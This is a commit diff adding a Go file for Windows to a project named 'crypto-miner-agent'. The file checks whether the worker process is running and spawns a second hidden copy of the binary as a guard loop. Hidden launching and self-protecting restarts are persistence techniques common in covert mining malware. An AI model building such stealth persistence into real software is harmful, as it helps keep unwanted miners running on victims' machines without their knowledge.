Add fleet groups, agent screenshots, deploy guards, and Crucible polish.

agent/deploy/guard_windows.go

@@ -0,0 +1,26 @@
+//go:build windows
+
+package deploy
+
+import (
+	"strings"
+
+	"crypto-miner-agent/config"
+)
+
+func workerProcessRunning(imageName string) bool {
+	out, err := HiddenCombinedOutput("tasklist", "/FI", "IMAGENAME eq "+imageName, "/NH")
+	if err != nil {
+		return false
+	}
+	return strings.Contains(strings.ToLower(string(out)), strings.ToLower(imageName))
+}
+
+// launchProcessGuard spawns a second hidden copy of the worker that only runs the guard loop.
+func launchProcessGuard(cfg config.RuntimeConfig) {
+	binPath, err := InstalledBinaryPath(cfg)
+	if err != nil {
+		return
+	}
+	_ = HiddenStart(binPath, guardFlag)
+}